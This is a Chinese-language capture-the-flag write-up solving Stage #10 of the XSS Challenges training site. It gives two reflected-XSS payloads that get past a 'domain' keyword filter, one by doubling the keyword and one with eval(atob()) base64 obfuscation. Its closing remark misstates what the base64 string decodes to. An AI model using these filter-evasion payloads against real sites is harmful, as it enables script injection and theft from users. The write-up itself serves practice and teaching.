XSS Challenges通关:Stage #10

一、XSS Challenges介绍

靶场地址:http://xss-quiz.int21h.jp/

相对于别的靶场来说,这是一个模拟真实环境的xss平台,页面不会给出任何提示。

每关难度有所增加,需要不断精进自己的XSS攻击的能力。

二、Stage #10题目

三、思路

上来就是一个合并标签操作,嗯~~~ 没效果,看看回显内容

竟然后端对domain做了过滤。

感觉应该是对domain字段做了过滤,可能只是过滤一次,试试重复关键字。

Beego!!! 果然可以,不过这个太简单了,想想有没有其他方法

既然是过滤,那就转码呗,然后再执行就是了。

Beego!!! 果然可以

四、答案

输入框输入: 1. 方法一:sss"><script>alert(document.domdomainain);</script><" 2. 方法二:ss"> <script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>

补充:

document.domdomainain);进行Base64转码,再运用atob方法回复成原字符串,在通过eval函数,执行document.domdomainain);,就可以达到效果了

文章作者:  BigYoung
版权声明:  本网站所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 BigYoung !



z